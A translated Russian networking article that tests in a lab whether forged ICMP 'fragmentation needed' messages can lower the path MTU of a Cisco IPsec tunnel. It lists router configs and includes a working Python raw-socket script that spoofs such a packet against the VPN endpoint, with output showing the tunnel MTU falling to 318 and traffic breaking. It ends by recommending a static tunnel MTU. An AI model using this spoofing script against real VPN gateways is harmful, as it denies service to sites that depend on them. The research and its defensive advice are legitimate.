[Перевод] IPsec & path MTU discovery: фича али баг?

IPsec — это широко распространённая технология для построения VPN туннелей между площадками. Path MTU discovery (PMTUD) — функциональность, позволяющая хостам и узлам VPN определить минимальный MTU вдоль пути следования пакета, чтобы затем привести локальное значение MTU в соответствие с реалиями транзитной сети. Возможно ли использовать эти две технологии в одной связке? Безусловно, Cisco даже опубликовала заметку, пошагово описывающую происходящее при таком взаимодействии. Однако вопрос о том, стоит ли использовать эти две технологии в одной связке, остаётся открытым, несмотря на кажущуюся простоту.

IPsec VPN, очевидно, ориентирована на безопасность трафика, обеспечивая конфиденциальность и целостность транзитных данных, а также доступность такого канала связи. Как правило, туннель пролегает поверх интернета, а значит, он должен успешно противостоять повышенному вниманию со стороны злоумышленников в любой форме: цена атаки должна быть существенно выше стоимости ожидаемого результата. Если посмотреть внимательно на описание работы PMTUD поверх IPsec, то можно заметить занятную особенность — решение, влияющее на защищённую сущность (значение MTU для IPsec туннеля), основано на обратной связи совершенно неизвестного происхождения (ICMP fragmentation needed откуда-то из транзитной сети). Возможно ли создать такой ICMP пакет, который снизит значение MTU для IPsec туннеля до неприемлемого уровня?

Ниже схема для тестирования этой гипотезы:

33159c3a04de8e0bfa51d8063dbf34c9.png

Большинство маршрутизаторов используют довольно стандартный для эмуляторов образ IOS — 15.2(4)M11 (шасси Cisco 7200). Исключением является VPN4 — это более свежая платформа CSR1000v с версией прошивки IOS XE 16.9.3 — на него-то мы и будем смотреть наиболее пристально. Attacker является простой человеческой виртуалкой с Ubuntu, которую мы сможем использовать для свои грязных делишек. На обоих узлах VPN активен PMTUD; MTU отличается от обычного только на канале между VPN2 и ISP — так мы сможем проверить работу PMTUD до того, как начнём что-либо портить. Ниже настройки каждого из узлов:

H1#show run | section router|interface
interface Loopback0
 ip address 1.1.1.1 255.255.255.255
interface FastEthernet0/0
 ip address 192.168.12.1 255.255.255.0
router ospf 1
 network 0.0.0.0 255.255.255.255 area 0
VPN2#show run | section router|ip route|crypto|interface
crypto isakmp policy 10
 authentication pre-share
crypto isakmp key cisco address 0.0.0.0        
crypto ipsec transform-set SET esp-aes 
 mode tunnel
crypto ipsec profile PROFILE
 set transform-set SET 
interface Loopback0
 ip address 2.2.2.2 255.255.255.255
interface Tunnel0
 ip address 192.168.24.2 255.255.255.0
 ip ospf mtu-ignore
 tunnel source FastEthernet0/1
 tunnel mode ipsec ipv4
 tunnel destination 192.168.34.4
 tunnel path-mtu-discovery
 tunnel protection ipsec profile PROFILE
interface FastEthernet0/0
 ip address 192.168.12.2 255.255.255.0
interface FastEthernet0/1
 ip address 192.168.23.2 255.255.255.0
 ip mtu 1400
 ip ospf shutdown
router ospf 1
 network 0.0.0.0 255.255.255.255 area 0
ip route 192.168.34.4 255.255.255.255 192.168.23.3
ISP#show run | section interface          
interface Loopback0
 ip address 3.3.3.3 255.255.255.255
interface FastEthernet0/0
 ip address 192.168.100.3 255.255.255.0
interface FastEthernet0/1
 ip address 192.168.23.3 255.255.255.0
 ip mtu 1400
interface FastEthernet1/0
 ip address 192.168.34.3 255.255.255.0
VPN4#show run | section router|ip route|interface|crypto
crypto isakmp policy 10
 authentication pre-share
crypto isakmp key cisco address 0.0.0.0        
crypto ipsec transform-set SET esp-aes 
 mode tunnel
crypto ipsec profile PROFILE
 set transform-set SET 
interface Loopback0
 ip address 4.4.4.4 255.255.255.255
interface Tunnel0
 ip address 192.168.24.4 255.255.255.0
 ip ospf mtu-ignore
 tunnel source GigabitEthernet2
 tunnel mode ipsec ipv4
 tunnel destination 192.168.23.2
 tunnel path-mtu-discovery
 tunnel protection ipsec profile PROFILE
interface GigabitEthernet1
 ip address 192.168.45.4 255.255.255.0
interface GigabitEthernet2
 ip address 192.168.34.4 255.255.255.0
 ip ospf shutdown
router ospf 1
 network 0.0.0.0 255.255.255.255 area 0
ip route 192.168.23.2 255.255.255.255 192.168.34.3
H5#show run | section router|interface
interface Loopback0
 ip address 5.5.5.5 255.255.255.255
interface FastEthernet0/0
 ip address 192.168.45.5 255.255.255.0
router ospf 1
 network 0.0.0.0 255.255.255.255 area 0
root@Attacker# tunctl -t tap0
root@Attacker# ifconfig tap0 192.168.100.10/24 up
root@Attacker# ip route add 192.168.34.0/24 via 192.168.100.3

Зачем понадобился ip ospf mtu-ignore на туннеле? PMTUD — фича однонаправленная, поэтому вполне вероятен следующий сценарий: один из узлов VPN уже снизил локальное значение MTU, тогда как другому узлу ещё только предстоит познать эту радость. Если в этой ситуации сбросить соседство OSPF, то оно, к сожалению, самостоятельно не восстановится из-за несовпадения MTU в DBD сообщениях.

Перед тем, как издеваться над VPN4, запустим перехват пакетов между ISP и VPN4 — это будет наша маленькая эмуляция разведки злоумышлеником; нас интересуют только ICMP сообщения. PMTUD использует пакеты с выставленным битом DF:

H5#ping 1.1.1.1 source 5.5.5.5 size 1400 df-bit 
Type escape sequence to abort.
Sending 5, 1400-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:
Packet sent with a source address of 5.5.5.5 
Packet sent with the DF bit set
.M.M.
Success rate is 0 percent (0/5)
H5#
H5#ping 1.1.1.1 source 5.5.5.5 size 1300 df-bit 
Type escape sequence to abort.
Sending 5, 1300-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:
Packet sent with a source address of 5.5.5.5 
Packet sent with the DF bit set
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 40/46/52 ms
VPN4#show interface tunnel 0
Tunnel0 is up, line protocol is up 

  Tunnel protocol/transport IPSEC/IP
  Tunnel TTL 255
  Path MTU Discovery, ager 10 mins, min MTU 92, MTU 1342, expires 00:09:28
  Tunnel transport MTU 1442 bytes
  Tunnel transmit bandwidth 8000 (kbps)
  Tunnel receive bandwidth 8000 (kbps)
  Tunnel protection via IPSec (profile "PROFILE")

Новость хорошая — PMTUD работает: MTU на туннеле уменьшился и стал равен 1342 байтам. Впрочем, есть один неприятный нюанс — это счастье нельзя увидеть на старых IOS:

Note: This change in value is stored internally and cannot be seen in the output of the show ip interface tunnel<#> command. You only see this change if you turn use the debug tunnel command.

Вольный перевод

Внимание: изменённое значение находится во внутренней памяти и не может быть отображено в выводе команды show ip interface tunnel<#>. Единственный способ отследить изменение — это включить отладку командо debug tunnel.

Заметим, что ICMP Fragmentation Needed несёт часть пакета, размер которого больше разрешённого MTU. Возможно, нам понадобятся эти данные для поддельного ICMP ответа:

61da1c34403d12fbc7139319d158d563.png

ICMP содержит только открытую часть ESP — заголовки, — поэтому злоумышленник может перехватить ESP пакеты, на их основе угадать значения SPI и Sequence, а затем использовать эти  значения, чтобы подделать ICMP ответ, который выглядит вполне легитимным. Наша же задача ещё проще: нам достаточно убедить VPN4 существенно уменьшить значение MTU для туннеля. Хороший инженер — ленивый инженер, поэтому скопируем пакет прямо из Wireshark, немного подправив значения:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

packet = bytearray(\
b"\x0c\x11\x72\x9e\x00\x01\xca\x03\x3c\xde\x00\x1c\x08\x00\x45\x00" \
b"\x00\x38\x00\x02\x00\x00\xff\x01\xf6\x6a\xc0\xa8\x22\x03\xc0\xa8" \
b"\x22\x04\x03\x04\xb2\x44\x00\x00\x05\x78\x45\x00\x05\xac\x04\xb3" \
b"\x40\x00\xfe\x32\xb8\x15\xc0\xa8\x22\x04\xc0\xa8\x17\x02\x5a\xe2" \
b"\xea\x4e\x00\x00\x00\x0e"
)

# Decrease MTU by 1024 bytes
packet[2*16 + 8] = (packet[2*16 + 8] - 0x04) % 256

# Compute high byte of checksum word
hbyte = packet[2*16 + 4] + 0x04

# If high byte is overflown, compensate carryover
if hbyte > 255:
    packet[2*16 + 5] = packet[2*16 + 5] + 1
    hbyte -= 256

# Adjust high byte of checksum
packet[2*16 + 4] = hbyte

packet = packet[14:]
s.sendto(packet, ('192.168.34.4', 0))

Расчёт контрольной суммы включает в себя немного древней магии в случае переполнения байта, но в целом идея проста — обнулить LSB MTU, увеличив значение LSB контрольной суммы на ту же величину. Весьма тривиально, не так ли? Проверим, работает ли шалость:

root@Attacker# python3 pckt.py 
VPN4#show interfaces tunnel0
Tunnel0 is up, line protocol is up 
  
  Tunnel protocol/transport IPSEC/IP
  Tunnel TTL 255
  Path MTU Discovery, ager 10 mins, min MTU 92, MTU 318, expires 00:09:48
  Tunnel transport MTU 1442 bytes
  Tunnel transmit bandwidth 8000 (kbps)
  Tunnel receive bandwidth 8000 (kbps)
  Tunnel protection via IPSec (profile "PROFILE")
H5#ping 1.1.1.1 source 5.5.5.5 size 1300 df-bit 
Type escape sequence to abort.
Sending 5, 1300-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds:
Packet sent with a source address of 5.5.5.5 
Packet sent with the DF bit set
M.M.M
Success rate is 0 percent (0/5)

Очевидно, что шалость удалась. Впрочем, а какие последствия? Начнём с того, что лежит на поверхности, — пакеты с выставленным битом DF не смогут прорваться через туннель в таком состоянии, что прямым образом нарушает доступность сервиса. Обычные же пакеты будут вначале фрагментированы, а затем отправлены через туннель. Фрагментация пакетов всегда происходит с использованием CPU, поэтому всплеск пакетов для фрагментации неизбежно приводит к всплеску загруженности CPU; в этом случае доступность всего маршрутизатора находится под угрозой, что может поставить под удар связность на целой площадке.

Впрочем, является ли это поведение дефектом? К сожалению, это особенность PMTUD на уровне дизайна: маршрутизатор обязан доверять информации из неаутентифицированных пакетов от произвольного узла транзитной сети. Даже если бы ICMP пакет включал фрагмент зашифрованной части ESP (потенциально с защитой от воспроизведения пакетов), значение ICV с большой вероятностью было бы исключено из ICMP, делая невозможным проверку целостности ESP части. В конечном счёте единственная защита от подобной атаки — не использовать PMTUD на туннеле и задавать значение MTU для него вручную. К счастью, современный интернет неплохо справляется со значением MTU по умолчанию, поэтому статически заданного MTU для туннеля вполне должно хватить для большинства задач.

Спасибо за рецензию: Анастасии Куралёвой

Канал в Телеграме: https://t.me/networking_it_ru

© Habrahabr.ru